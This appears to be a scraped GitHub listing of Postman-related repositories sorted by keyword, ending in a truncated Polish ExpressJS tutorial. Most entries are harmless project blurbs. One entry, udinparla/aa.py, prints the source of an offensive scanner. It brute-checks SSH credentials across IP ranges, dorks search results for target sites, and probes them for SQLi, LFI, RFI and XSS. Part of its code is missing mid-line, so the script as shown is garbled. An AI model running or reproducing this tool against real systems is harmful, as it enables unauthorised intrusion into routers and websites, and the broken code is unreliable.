execution, form, format, information, integration, move, moved, package, pipeline, script, scripts 		Sample Postman scripts I created in JavaScript with Chai Assertion Library. The scripts are also packaged by npm for easy execution and integration to CI/CD pipeline with Jenkins. Authentication information has been removed for privacy reasons. 0 stars 0 watchers 0 forks

simulate (8 listings) (Back to Top)

devinrader/Twilio-postman
collection, collections, simulate, webhook 		A set of collections for POSTman that let you simulate Twilio webhook requests 0 stars 0 watchers 0 forks
gmendozah/Cool-API-Simulation
backend, official, simulate 		This project helps simulate an API without a backend just run and enjoy! Link to official repo: 0 stars 0 watchers 0 forks
kevinxu993/Fanlinc
access, agile, application, backend, cloud, data, database, development, flexible, frontend, handling, mean, method, process, relationship, simulate, software, storage, version, web app 		⚫ Developed a web application to foster meaningful relationships between fans, and grow the fervent passions for the fandoms they love. ⚫ Coded in Java with Spring Boot for backend, ReactJS and HTML for frontend. ⚫ Used MySQL database. Used AWS for cloud storage. Used Spring Data JPA to allow data access and Google API to implement map feature. ⚫ Wrote REST APIs in the backend to ensure flexible data handling. ⚫ Tested the APIs using Postman to ensure early failure detection and stable development. ⚫ Worked in a Scrum team using agile software development methodology. ⚫ Used Git for version control to simulate a software development process 0 stars 0 watchers 0 forks
marcochin/Wiki-Db-API
article, content, data, express, manipulate, mongo, mongod, mongodb, mongoose, route, send, server, simulate, simulates, wiki, wikipedia 		Created a server that has a db that simulates wikipedia. You have an article title and an article content. An API is created for you to manipulate data on the db. It handles GET POST PUT PATCH DELETE. Use Postman to interact with the API. There is no UI. Used mongoose to interact with mongodb. Used express to send API handle route calls and send back responses. 0 stars 0 watchers 0 forks
nrothchicago/NodejsCRUD
application, connection, data, database, simulate 		Basic CRUD application with a connection to a PostgreSQL database. Front end was 'simulated' with postman. 0 stars 0 watchers 0 forks
PaulGilchrist/postman-load-test
execution, parallel, simulate, test 		Enhancement for PostMan allowing for parallel execution of API calls to simulate load or stress conditions 0 stars 0 watchers 0 forks
pmcdowell-okta/okta-opp-postman-collection
agent, collection, postman collection, simulate, simulates 		A postman collection which simulates an Okta On Premise Provisioning agent request 0 stars 0 watchers 0 forks
zyzz19951230/RequestSimulator
design, designed, development, program, python, server, simulate, simulates, test, tests 		A python program that simulates request to a server and handle its response just like Postman, it‘s designed to run tests for web developments. 0 stars 0 watchers 0 forks

servers (8 listings) (Back to Top)

timemachine3030/jenkman
machine, node, server, servers, test, testing 		Jenkins CI testing of node API servers with Postman/Newman 1 stars 1 watchers 0 forks
vishnoitanuj/Blockchain-Cryptocurrency
basics, blockchain, chai, crypto, currency, file, flask, implementation, server, server., servers, struct, suggest, welcome 		A basic implementation of blockchain based on flask server. It servers the basics of crypto-currency technology. The genesis, block constructor and its use are explained in the read-me file. Any suggestions are welcomed. 0 stars 0 watchers 2 forks
thatinterfaceguy/yhcr-proxy-server-api-tests
collection, compose, environment, file, interface, local, locally, proxy, running, server, servers, test, tests 		Docker compose file, postman environment and collection for running tests against YHCR FHIR proxy servers locally 0 stars 0 watchers 1 forks
donzef/Postman-Redfish-Collections
collection, collections, server, servers 		Postman collections for Redfish requests against HPE servers 0 stars 0 watchers 0 forks
theuggla/javascript-at
application, applications, client, concept, java, javascript, program, ranging, script, server, servers, standalone, test, testing 		ranging from small programs to full applications testing out javascript concepts, both as standalone applications, servers and client applications 0 stars 0 watchers 0 forks
Aniquir/MyTibiaHelper
application, game, guiding, popular, server, servers, technologies 		This is an application that helps in guiding characters in the popular game. Used technologies: Java, Spring / Spring Boot, Hibernate, PostgreSQL, Git, Maven, Trello, Postman. Application is built in the microservers architecture. 0 stars 0 watchers 0 forks
mbMosman/serverside-tasks-with-sub-cat
action, data, database, object, objects, server, servers, serverside, task, tasks, transactions 		Serverside code only for a tasks database with subtasks and categories with Postman Tests. (Postgres/pg with JSON objects & transactions) 0 stars 0 watchers 0 forks
vanirjr/multi.Postman
bulk, mail, mailing, powerful, running, server, servers, system 		a very powerful bulk mailing system for FreeBSD/Linux/Unix servers running Postfix and PHP 0 stars 0 watchers 0 forks

documents (8 listings) (Back to Top)

andela-cofor/Document-Management-System
access, define, document, documents, manages, role, roles, system, user, users 		Document Management System: The system manages documents, users and user roles. Each document defines access rights; the document defines which roles can access it. 1 stars 1 watchers 2 forks
nishtahir/postman-to-markdown
collection, collections, document, documents, markdown 		Convert postman v2 collections to Markdown documents 0 stars 0 watchers 1 forks
westfax/API-Postman
collection, demonstrate, document, documents, westfax 		A ready to use Postman collection that documents and demonstrates the WestFax API. 0 stars 0 watchers 1 forks
adrian-kriegel/lemur-api-node
check, document, documents, endpoint, endpoints, node, struct, structure 		[BETA] Lemur checks body structure, sanitizes and documents endpoints in postman 0 stars 0 watchers 0 forks
andela-Taiwo/Document_Manager
access, accessed, chai, document, documents, enable, store, tool, track, user 		Reliable-Docs API is an API developed to enable user to track, manage and store documents. The end points can be accessed with Postman or alternate API toolchain. 0 stars 0 watchers 0 forks
mblarsen/postman-generator-v1
collection, document, documents, generator, object, objects 		Creates postman v1 collection documents from JSON objects 0 stars 0 watchers 0 forks
proctorlabs/swagger2postman-cli
collection, collections, container, convert, converting, document, documents, postman collection, postman collections, swagger, swagger2 		A Docker container for converting swagger (OpenAPI v2) documents to postman collections 0 stars 0 watchers 0 forks
vv-myst/Promotional_Campaign_Server
collection, design, document, documents, test, test suite, tests, unit 		A collection of all the API design documents, code and unit tests in C# and Postman test suite 0 stars 0 watchers 0 forks

friend (8 listings) (Back to Top)

datumcorp/pm-plus
convert, converte, converter, developer, friend, product, productivity, util, utility 		Postman productivity utility - developer-friendly YAML converter 0 stars 0 watchers 2 forks
Sharan-kumar/postmans-friend-SIH
description, friend, script 		No description available. 0 stars 0 watchers 1 forks
raghwendra-sonu/APIDataDriverTestingWithPostman
data, drive, driven, file, files, friend, http, https, json, link, river, source, test, testing 		https://medium.com/@Raghwendra.sonu/data-driven-testing-with-postman-using-csv-and-json-files-c4f112015eb3?source=friends_link&sk=d0e70700ef7d717ecb4c86dded9552ef 0 stars 0 watchers 0 forks
aq1/vkPostman
chat, friend, move, moved, telegram 		You removed yourself from VK but have some friends you want to chat? This telegram bot can help you! 0 stars 0 watchers 0 forks
danielrolls/haskell-punch
friend, terminal 		A friendly ghci terminal for Haskell 0 stars 0 watchers 0 forks
dawidpolednik/DelfinagramAPP
data, friend, library, posts, technologies 		Application which allows you to manage your own posts/friends/data. This APP was based on React library with React-Router-DOM and Redux. Others technologies used in this project: Material UI, Postman, SASS(SCSS), Netlify 0 stars 0 watchers 0 forks
Dhruv-Rajpurohit/PostMan-Clone
friend, interacting, reading, struct 		App for interacting with HTTP APIs. It presents you with a friendly GUI for constructing requests and reading responses. 0 stars 0 watchers 0 forks
omniaAbdallah/Smart-Doorbell
friend, guest, light, longer, phone, service, spec, to do 		My friend often call me instead of pressing my doorbell when they arrive, because I always miss the doorbell and left my guests outside, but how about postman or delivery service whom may not have my phone number? There are also special doorbell made for deafness people with lights alert, but it still can be missed easily, so I think it is time to reinvent doorbell.In this project, I am going to build an IoT doorbell .Once the visitor pressed the doorbell, it will publish and an alert will be sent, so I know someone is knocking my door no matter where I am. Visitors no longer need to call me and simply let the IoT doorbell to do the job, deafness people also benefit using it so they can alert from vibration of their phone. 0 stars 0 watchers 0 forks

models (8 listings) (Back to Top)

Rachel-Hofer/Ironhack-Project3-Client-Side
mini, minimum, model, models, route, routes, script 		Week-9, Project 3 - MERN Application Assignment: Minimum 3 models. Include sign-up / sign-in / sign-out with encrypted passwords. Have full CRUD routes for a minimum of 2 models. Use React for Front End. Technologies: React.js, Javascript, Node.js, HBS, CSS, Bootstrap, jQuery, Passport.js, Cloudinary.js, AJAX, MongoDB, Postman, GoogleMapsAPI 1 stars 1 watchers 1 forks
Rachel-Hofer/Ironhack-Project3-Server-Side
mini, minimum, model, models, route, routes, script 		Week-9, Project 3 - MERN Application Assignment: Minimum 3 models. Include sign-up / sign-in / sign-out with encrypted passwords. Have full CRUD routes for a minimum of 2 models. Use React for Front End. Technologies: React.js, Javascript, Node.js, HBS, CSS, Bootstrap, jQuery, Passport.js, Cloudinary.js, AJAX, MongoDB, Postman, GoogleMapsAPI 1 stars 1 watchers 1 forks
sonali-developer/SmackApplication
application, background, chat, clone, creation, data, design, designed, developer, display, email, fetch, fetching, file, files, form, generating, host, hosting, includes, library, local, login, lots, mail, message, messages, model, models, namely, node, play, playing, profile, rating, real time, register, registration, saving, script, select, selection, send, service, sets, store, talk, user, users 		App Description: A clone of chat application namely Slack. It is a full fledged and professional looking ready to publish app on Appstore. It allows first time user to register by providing unique username, email and password along with selection of Avatar and Avatar's Background color; login using registered email and password, participate in channels available for chat, create new channel by adding users, perform live chat with other users of this app, can even logout, and so on. • Built using Xcode 9, Swift 4, Cocoa pods, node.js, MongoDB, Heroku, Postman, etc. for iOS 11 based iPhones and iPads. • Local Frameworks used includes Foundation, UIKit and other API's like Alamofire, SwiftyJSON, SocketIO, REST, SWReveal, etc. • Demonstrated the use of Networking in iOS. • Implemented Web Request creation in Xcode using UIKit, APIs, node.js and Mongo dB online. • Implemented Web service API hosting online using Heroku and local hosting using Postman. • Implemented user creation and real time talking using Socket Technology through SocketIO library. • Implemented Web Service for User Registration, Authentication & Login, Channels Creation & display, fetching, sending and saving text messages and many more. • Implemented Table Views, Collection Views & custom design of their cells using data models. • Implemented side menu for the display of user profile and channels using SWReveal and Gradient color design code for providing gradient color background to this side menu. • Implemented creation of two XIB's for Channels creation and profile view’s popUp. • Implemented SegmentedControl for displaying 28 Dark and Light Avatar displays and code for generating Avatar’s background color on user registration screen. • Implemented Input Accessory View for Text field. • In all designed around eight View Controllers and their corresponding storyboard file for GUI design, Four Services, two custom cells, seven view files, two model files and lots of assets and so on. 0 stars 0 watchers 2 forks
choas/SAP-Leonardo-Machine-Learning-Postman-Collection
class, collection, image, model, models, training 		A Postman collection for SAP Leonardo Machine Learning for retraining image classification models. 0 stars 0 watchers 1 forks
flascelles/synthetic-API-traffic-generation
collection, collections, general, generate, generation, model, models, postman collection, postman collections, script, scripts, traffic, training 		scripts and postman collections to generate synthetic api traffic for training ML models and general purposes 0 stars 0 watchers 0 forks
Dipskarki/REST-API-Practice
implementation, model, models, route, routes, schema 		REST API using models, schema and routes with implementation in postman 0 stars 0 watchers 0 forks
laudvg/Until-Sunrise
communication, data, database, implementation, model, models 		Backend project in Node, using Express, Mongoose for models and communication with the MongoDB database. Tools such as Passport, Postman, MongoDB Compass, Axios were used. API implementation. 0 stars 0 watchers 0 forks
sayak119/fashion-mnist-flask
flask, learn, learning, machine, model, models 		PoC to serve machine learning models using flask 0 stars 0 watchers 0 forks

imported (8 listings) (Back to Top)

AnilDeshpande/todolistpostmancollection
collection, file, files, import, imported, json, list, service, services, test, todo 		Just contains POSTMAN collection json files which can be imported by the people who want to use this to test the web services 0 stars 0 watchers 3 forks
OliverRC/Postman-WebApi-HelpDocumentation
developer, developers, endpoint, endpoints, import, imported 		Allows developers expose their MVC WebAPI endpoints so that they can be imported into postman 0 stars 0 watchers 3 forks
gregambrose/ApiToPostman
collection, collections, import, imported 		Takes HTTP requests and makes them into collections that can be imported into POSTMAN 1 stars 1 watchers 0 forks
buckle/restdocs-tool-export
docs, download, export, exports, import, imported, rest, snippet, snippets, tool 		Generates AsciiDoc snippets via Spring Restdocs that are exports for Insomnia or Postman that can be download and imported. 1 stars 1 watchers 0 forks
stereg/inspector2postman
convert, converting, file, import, imported, output, spec, taking 		Script for taking ACI inspector output and converting it into a Google Postman Collection file that can be imported 1 stars 1 watchers 0 forks
ivastly/php2curl
command, convert, curl, data, export, import, imported, tool 		tiny lib to convert data from PHP request to CURL command. Then, CURL command can be imported into Postman with 1 click, so it is PHP to Postman export tool. 0 stars 0 watchers 1 forks
imikemiller/lumen-swagger-generators
docs, generator, generators, import, imported, library, parse, parser, swagger, wrapper 		A wrapper for the swagger-php library. Does not include swagger-ui the docs JSON can be imported into Postman or another Swagger / Open API parser 0 stars 0 watchers 0 forks
nenadjeremic/todo-basic-express-mongo
example, examples, express, folder, form, function, functional, functionalities, import, imported, mongo, todo 		Basic TODO REST API using ExpressJS and MongoDB. Performs basic CRUD functionalities. Contains folder with examples of API requests that could be imported in Postman. 0 stars 0 watchers 0 forks

output (8 listings) (Back to Top)

cameronoxley/Newman-to-Slack
output, script, summary, test, webhook 		Runs a Newman test script and outputs the summary to a Slack webhook 0 stars 0 watchers 10 forks
udinparla/aa.py
address, admin, api blueprint, asyncapi, automat, automatic, automatically, class, correct, crawler, creation, data, file, find, free, google, header, host, html, http, import, json schema, link, list, location, mail, oauth, openid, output, pages, print, python, random, reading, result, route, router, running, search, seek, send, sends, site, source, sql, task, test, user 		#!/usr/bin/env python import re import hashlib import Queue from random import choice import threading import time import urllib2 import sys import socket try: import paramiko PARAMIKO_IMPORTED = True except ImportError: PARAMIKO_IMPORTED = False USER_AGENT = ["Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3", "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)", "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)", "Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/535.38.6 (KHTML, like Gecko) Version/5.1 Safari/535.38.6", "Mozilla/5.0 (Macintosh; U; U; PPC Mac OS X 10_6_7 rv:6.0; en-US) AppleWebKit/532.23.3 (KHTML, like Gecko) Version/4.0.2 Safari/532.23.3" ] option = ' ' vuln = 0 invuln = 0 np = 0 found = [] class Router(threading.Thread): """Checks for routers running ssh with given User/Pass""" def __init__(self, queue, user, passw): if not PARAMIKO_IMPORTED: print 'You need paramiko.' print 'http://www.lag.net/paramiko/' sys.exit(1) threading.Thread.__init__(self) self.queue = queue self.user = user self.passw = passw def run(self): """Tries to connect to given Ip on port 22""" ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) while True: try: ip_add = self.queue.get(False) except Queue.Empty: break try: ssh.connect(ip_add, username = self.user, password = self.passw, timeout = 10) ssh.close() print "Working: %s:22 - %s:%s\n" % (ip_add, self.user, self.passw) write = open('Routers.txt', "a+") write.write('%s:22 %s:%s\n' % (ip_add, self.user, self.passw)) write.close() self.queue.task_done() except: print 'Not Working: %s:22 - %s:%s\n' % (ip_add, self.user, self.passw) self.queue.task_done() class Ip: """Handles the Ip range creation""" def __init__(self): self.ip_range = [] self.start_ip = raw_input('Start ip: ') self.end_ip = raw_input('End ip: ') self.user = raw_input('User: ') self.passw = raw_input('Password: ') self.iprange() def iprange(self): """Creates list of Ip's from Start_Ip to End_Ip""" queue = Queue.Queue() start = list(map(int, self.start_ip.split("."))) end = list(map(int, self.end_ip.split("."))) tmp = start self.ip_range.append(self.start_ip) while tmp != end: start[3] += 1 for i in (3, 2, 1): if tmp[i] == 256: tmp[i] = 0 tmp[i-1] += 1 self.ip_range.append(".".join(map(str, tmp))) for add in self.ip_range: queue.put(add) for i in range(10): thread = Router(queue, self.user, self.passw ) thread.setDaemon(True) thread.start() queue.join() class Crawl: """Searches for dorks and grabs results""" def __init__(self): if option == '4': self.shell = str(raw_input('Shell location: ')) self.dork = raw_input('Enter your dork: ') self.queue = Queue.Queue() self.pages = raw_input('How many pages(Max 20): ') self.qdork = urllib2.quote(self.dork) self.page = 1 self.crawler() def crawler(self): """Crawls Ask.com for sites and sends them to appropriate scan""" print '\nDorking...' for i in range(int(self.pages)): host = "http://uk.ask.com/web?q=%s&page=%s" % (str(self.qdork), self.page) req = urllib2.Request(host) req.add_header('User-Agent', choice(USER_AGENT)) response = urllib2.urlopen(req) source = response.read() start = 0 count = 1 end = len(source) numlinks = source.count('_t" href', start, end) while count alert('xssBYm0le');""" self.file = 'xss.txt' def run(self): """Checks Url for possible Xss""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np xsite = site.rsplit('=', 1)[0] if xsite[-1] != "=": xsite = xsite + "=" test = xsite + self.xchar try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("xssBYm0le", data, re.I)): self.xss(test) vuln += 1 else: print B+test + W+' > ' + str(vuln) + G+' Vulnerable Sites Found' + W print '>> ' + str(invuln) + G+' Sites Not Vulnerable' + W print '>> ' + str(np) + R+' Sites Without Parameters' + W if option == '1': print '>> Output Saved To sqli.txt\n' elif option == '2': print '>> Output Saved To lfi.txt' elif option == '3': print '>> Output Saved To xss.txt' elif option == '4': print '>> Output Saved To rfi.txt' W = "\033[0m"; R = "\033[31m"; G = "\033[32m"; O = "\033[33m"; B = "\033[34m"; def main(): """Outputs Menu and gets input""" quotes = [ '\[email protected]\n' ] print (O+''' ------------- -- SecScan -- --- v1.5 ---- ---- by ----- --- m0le ---- -------------''') print (G+''' -[1]- SQLi -[2]- LFI -[3]- XSS -[4]- RFI -[5]- Proxy -[6]- Admin Page Finder -[7]- Sub Domain Scan -[8]- Dictionary MD5 cracker -[9]- Online MD5 cracker -[10]- Check your IP address''') print (B+''' -[!]- If freeze while running or want to quit, just Ctrl C, it will automatically terminate the job. ''') print W global option option = raw_input('Enter Option: ') if option: if option == '1': Crawl() output() print choice(quotes) elif option == '2': Crawl() output() print choice(quotes) elif option == '3': Crawl() output() print choice(quotes) elif option == '4': Crawl() output() print choice(quotes) elif option == '5': Ip() print choice(quotes) elif option == '6': admin() aprint() print choice(quotes) elif option == '7': subd() print choice(quotes) elif option == '8': word() print choice(quotes) elif option == '9': OnlineCrack().crack() print choice(quotes) elif option == '10': Check().grab() print choice(quotes) else: print R+'\nInvalid Choice\n' + W time.sleep(0.9) main() else: print R+'\nYou Must Enter An Option (Check if your typo is corrected.)\n' + W time.sleep(0.9) main() if __name__ == '__main__': main() 4 stars 4 watchers 0 forks
ambertests/charles_to_postman
charles, convert, converting, file, json, output, proxy, test, tests 		Script for converting Charlesproxy output to a Postman json file 0 stars 0 watchers 4 forks
ivansams/PostmanCollectionSorter
collection, collections, history, match, object, order, output, random, sort, source, version 		Cmd line app to sort the requests within Postman collections to match the order object. Postman randomly shuffles requests when outputting collections in order to make source control difficult even with minor changes. If this is run before each update to a collection, it allows you to see incremental changes to each version in history instead of the entire collection being shuffled. 1 stars 1 watchers 0 forks
stereg/inspector2postman
convert, converting, file, import, imported, output, spec, taking 		Script for taking ACI inspector output and converting it into a Google Postman Collection file that can be imported 1 stars 1 watchers 0 forks
MasonChambers/Regression-Testing-Postman
form, format, formatted, html, newman, output, regression, test, testing 		regression testing for postman with newman and formatted html output 0 stars 0 watchers 0 forks
billtrust/postman-to-csv
convert, form, format, output, util, utility 		Simple utility to convert JSON output from Postman into a CSV format. 0 stars 0 watchers 0 forks
rgooler/steam_to_openapi3
import, insomnia, openapi, output, tool, tools, webapi 		Converts steam's webapi output into openapi3 for easy importing into tools like postman and insomnia 0 stars 0 watchers 0 forks

week (8 listings) (Back to Top)

zachmorse/TIY-week7-day5-project
data, database, route, routes, send, test, testing, week 		create an API for testing via Postman. Should send JSON directly from the database to postman via routes 0 stars 0 watchers 0 forks
garrettstott/postman
week 		DPL week02 day4 postman 0 stars 0 watchers 0 forks
javierrcc522/news-crawler
crawler, news, script, week 		Javascript week 2 - using APIs and Postman 0 stars 0 watchers 0 forks
javierrcc522/weather-app
script, weather, week 		Javascript week 2 - using APIs and Postman 0 stars 0 watchers 0 forks
shyamalpunekar/epicodus-student-api-postman
student, week 		Java-week4-API-Independent Project using Postman 0 stars 0 watchers 0 forks
shyamalpunekar/weather-api
script, weather, week 		Javascript-week2-API-Postman 0 stars 0 watchers 0 forks
srhcrete/weather-app
script, weather, week 		Javascript week 2 - using APIs and Postman 0 stars 0 watchers 0 forks
woolsox/stat-tracker
assignment, json, stat, track, tracker, week 		stat tracker weekend assignment. postman + json api practice. 0 stars 0 watchers 0 forks

popular (8 listings) (Back to Top)

Mir00r/busticketing
access, action, actor, admin, api blueprint, application, applications, asyncapi, auth, authentication, boot, browser, case, cases, compare, compose, consisting, container, default, define, design, development, devices, docker, engine, file, find, following, form, frontend, function, functional, host, import, inside, install, interface, json schema, library, link, local, material, mobile, mysql, oauth, openid, operate, popular, predefined, profile, prototype, render, reservation, responsive, result, schedule, search, security, series, server, sessions, sql, system, systems, template, templates, ticket, token, type, user, users, web app 		Bus Reservation System_ and tried to implement an Admin portal which can be operated over browsers and a series of REST APIs to interact with the system using mobile applications or frontend applications written for the browsers. The complete systems has two important actors : 1. Admin user 2. End user The _Admin user_ can access this application on browser (laptop or mobile/tablet, doesn't really matter as this is built using bootstrap, material design and is completely responsive) and can perform the following actions : 1. Signup 2. Login (Spring sessions) 3. Update their profile 4. Create an agency 5. Add buses to the agency 6. Add trips consisting of predefined stops and buses The _End user_ can use their mobile application (yet to be built, however the REST APIs are ready and could be used via Postman or Swagger) to perform the following actions : 1. Signup 2. Login (and get a JWT token) 3. List all available stops 4. Search a trip between any two stops 5. Filter search results with a date option 6. Book a ticket for a given trip schedule Admin interface and REST APIs both have their independent authentication mechanisms, the web application uses the cookie based authentication (provided by default by Spring security) and the REST API uses the JWT authentication for access. This application assumes the availability of 'MongoDB' installation on the localhost where the server will run or the use of docker-compose to boot up a mysqldb container and link the application with it within the realm of docker. Any changes that the admin users will do on the web portal will impact the search results of the end users, there will be certain use cases which you may find missing here, I hope you will appreciate that the overall idea was to present a way to create such an application completely inside the realm of Spring Boot and not to actually building a fully functional reservation system. The admin user interface is completely written in material design using Bootstrap v4 and is responsive to suite a variety of devices. The template engine used to render the admin views is Thymeleaf since the library is extremely extensible and its natural templating capability ensures templates can be prototyped without a back-end – which makes development very fast when compared with other popular template engines such as JSP. 1 stars 1 watchers 2 forks
mhamann/postman-node
extension, node, popular, version 		A NodeJS-wrapped version of the popular Postman Chrome extension 0 stars 0 watchers 3 forks
flyingeinstein/nimble
analytics, automat, automation, collection, config, configure, controller, data, home, popular 		Arduino IoT multi-sensor for the ESP8266. Supports a number of popular sensors. Simply wire sensors to the ESP8266 and compile this sketch. Use the Http Rest API (Postman collection provided) to configure and control the sensors and direct sensor data to a number of targets such as Influx for analytics or a home automation controller. 1 stars 1 watchers 0 forks
dcgavril/Postman-SMTP
discover, plugin, popular 		Version of the popular WordPress plugin with fix to the Reflected Cross-Site Scripting discovered. 0 stars 0 watchers 2 forks
Aniquir/MyTibiaHelper
application, game, guiding, popular, server, servers, technologies 		This is an application that helps in guiding characters in the popular game. Used technologies: Java, Spring / Spring Boot, Hibernate, PostgreSQL, Git, Maven, Trello, Postman. Application is built in the microservers architecture. 0 stars 0 watchers 0 forks
InLove4Coding/GameStoreSpring
host, http, in memory, jdbc, local, memory, popular, test 		Game Store - simple project on popular stack :Spring, h2, lombok, Jpa. Данный проект использует in memory db, так что его можете запустить без дампа бд. Запросы пока через postman, примеры в комментариях кода. По http://localhost:8080/h2/ можете поработать с бд через интерфейс. Для захода jdbcUrl -> jdbc:h2:mem:testdb . Далее о.к (юзер по умолчанию sa, без пароля) 0 stars 0 watchers 0 forks
martinproxy0/Zadanie_17_5
action, address, application, auth, automat, console, data, dependencies, developer, dynamic, ekspresowe, endpoint, error, example, express, file, folder, form, format, framework, function, github, host, html, http, https, index, install, intern, internal, jest, json, kazan, lang, link, list, listen, local, meta, method, middleware, model, module, modules, node, note, package, parse, parser, party, popular, problem, program, proxy, query, rake, require, role, route, routing, send, server, server., sets, source, stat, status, submit, system, test, type, updated, user, wars 		17. ExpressJS - ekspresowe tworzenie aplikacji w NodeJS Wyzwania: Dowiesz się czym jest ExpressJS Nauczysz się korzystać z routingu Poznasz czym są szablony 17.1. Wprowadzenie do Expressa Express jest jednym z najpopularniejszych frameworków dla aplikacji pisanych w Node.js. Jest bardzo lekki i pozwala na lepszą organizację aplikacji w modelu MVC. Ok, zwolnijmy. Już na samym starcie pojawiły się dwa pojęcia, których do tej pory nie omówiliśmy zbyt dokładnie: framework i MVC. Na początku przypomnijmy sobie czym jest framework. Czym są frameworki? Framework to swego rodzaju szkielet, na którym opieramy budowę naszej aplikacji. Jest pewnym poziomem abstrakcji, na której konstruujemy naszą aplikację. Czym jest abstrakcja? Abstrakcja w inżynierii oprogramowania to technika, dzięki której jesteśmy w stanie zapanować nad złożonością systemu. Najzwyczajniej w świecie nie da się myśleć na wielu płaszczyznach na raz, dlatego programiści dzielą problemy na pewne poziomy i to na nich rozwiązują mniejsze problemy. Przykładowo - programista korzystający z Reacta nie martwi się o niższy poziom abstrakcji, z którego nieświadomie korzysta używając Reacta. Korzystając z komputera także nie zastanawiamy się za bardzo co dzieje się w środku procesora czy też w jaki sposób jest skonstruowany. Tym poziomem abstrakcji po prostu nie zawracamy sobie głowy. Używając JavaScriptu nie myślimy w jaki sposób parser analizuje składnię języka. Jeśli nie jest to nam potrzebne, to możemy zająć się tym, co jest dla nas naprawdę istotne - pisaniem aplikacji internetowych! Express to właśnie kolejny, wyższy poziom abstrakcji, dzięki któremu możemy skupić się na właściwym problemie. Zawiera zbiór generycznych (możliwych do zastosowania w wielu miejscach / uniwersalnych) funkcjonalności, które powtarzają się w obrębie każdej aplikacji. Cały zamysł frameworka opiera się na zasadzie - nie wymyślaj koła na nowo, bo można budować na podstawie dobrych, uniwersalnych rozwiązań. Po wykonaniu tego samego zadania wiele razy, człowiek instynktownie szuka sposobu na automatyzację problemu - szczególnie leniwy programista. :) Framework ma niestety jedną wadę, która bywa momentami również zaletą - narzuca programiście sposób w jaki należy rozwiązać problem. Takie podejście z jednej strony nieco nas ogranicza, bo nie pozwala nam 'grzebać' w rozwiązaniu, a z drugiej strony zmniejsza ilość miejsc, w których moglibyśmy popełnić jakiś błąd. Zaletą takiego podejścia jest też to, że programiści korzystający z frameworków często borykają się z podobnymi problemami, przez co łatwo jest znaleźć rozwiązania, bo ktoś już na pewno zetknął się z czymś, co sprawia nam kłopot :) Wracając do Expressa - jest on niewielkim frameworkiem, który daje programiście przyjemną podstawkę do tworzenia aplikacji, ale nie narzuca żadnych praktyk - może o tym świadczyć chociażby fakt, że wiele znanych frameworków opiera swoją budowę na Express. Można do nich zaliczyć przykładowo Loopbacka, Sailsa czy Krakena. Model-View-Controller Ok, wiemy już czym jest framework - pora na pojęcie MVC :) Jest to skrót od ang. Model View Controller (Model Widok Kontroler). Jest jednym z najczęściej przewijających się wzorców architektonicznych w internecie. Popularnością pomału wypiera go architektura Flux, o której coraz częściej słychać (szczególnie w środowisku Reacta), ale o tym wzorcu powiemy sobie jeszcze przy okazji omawiania Reduxa - wróćmy do MVC. Głównym założeniem przyjętym podczas projektowania MVC było oddzielenie warstwy prezentacji od logiki biznesowej aplikacji. To podejście umożliwia tworzenie narzędzi działających bez graficznego interfejsu (zastępuje go wtedy tzw. Command Line Interface, a.k.a. CLI) i jest dalej popularne w środowisku Unixowym. Tak więc: Model jest reprezentacją logiki aplikacji / problemu z jakim się zmagamy / domeną. Widok opisuje w jaki sposób coś wyświetlić. W React są to komponenty (szczególnie te prezentacyjne). Kontroler przyjmuje dane od użytkownika aplikacji i reaguje na jego działania w obrębie widoku. Aktualizuje widok i model aplikacji. O samej architekturze można napisać osobny moduł tym bardziej, że jak już wcześniej wspomnieliśmy bardzo często przewija się on w środowisku front-end developerów i jest częścią składową wielu frameworków. Sama implementacja MVC wymaga wiedzy na temat programowania obiektowego i wzorców projektowych. Zainteresowanych zapraszam do przeczytania tej książki na temat wzorców projektowych stosowanych w JavaScripcie. Express dostarcza wielu funkcjonalności do tworzenia aplikacji webowych. Jak już wspomniałem, ułatwia on przede wszystkim szybki rozwój aplikacji opartych na Node.js. Podstawowymi cechami tego frameworka są: serwowanie plików statycznych za pomocą jednej komendy konfigurowanie middleware, czyli pośrednika między żądaniem a odpowiedzią w momencie, kiedy użytkownik wykonuje jakieś akcje, np. wysyła formularz, middleware może wykonać pewne czynności zanim dane zostaną zapisane. Nie sprowadza się to oczywiście tylko do zapisu danych, ale szerzej na temat tego zagadnienia powiemy sobie w dalszym rozdziale definiowanie tablicy routingu, czyli ścieżek (adresów), które wyświetlają odpowiednie treści, przyjmują i zapisują dane, bądź odpytane o dane zwracają je. Bazują na protokole HTTP oraz URI (ang. Uniform Resource Identifier) pozwala na dynamiczne tworzenie stron HTML bazujących na argumentach przekazanych do istniejących szablonów Nie przejmuj się, jeśli powyższe opisy wydają się być nieco zagmatwane. Kolejne rozdziały rozjaśnią sprawę! Zanim jednak przejdziemy do omawiania poszczególnych funkcjonalności Expressa, przeprowadzimy proces instalacji. Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.2. Instalacja ExpressJS Framework Express instalujemy używając npm, analogicznie do innych pakietów, które dodawaliśmy już we wcześniejszych modułach. Dla przypomnienia, wystarczy, że zainicjujesz swój projekt - npm init, a następnie użyjesz komendy npm install express --save, która zapisze zainstalowany pakiet w katalogu node_modules/ i doda go do sekcji dependencies w pliku package.json. Razem z Expressem należy zainstalować jeszcze jeden ważny moduł - body-parser, który jest pakietem pozwalającym na obsługę różnych formatów danych w middleware takich jak JSON, text czy tzw. surowe dane (ang. raw data). Aby go zainstalować, wpisz npm install body-parser --save. Pierwsza aplikacja w ExpressJS Sprawdźmy teraz, czy wszystko działa tak jak powinno. Testowa aplikacja, jaką stworzymy przy użyciu Expressa, będzie przedstawiała podstawową zasadę działania tego frameworka. Aplikacja uruchomi serwer oraz będzie 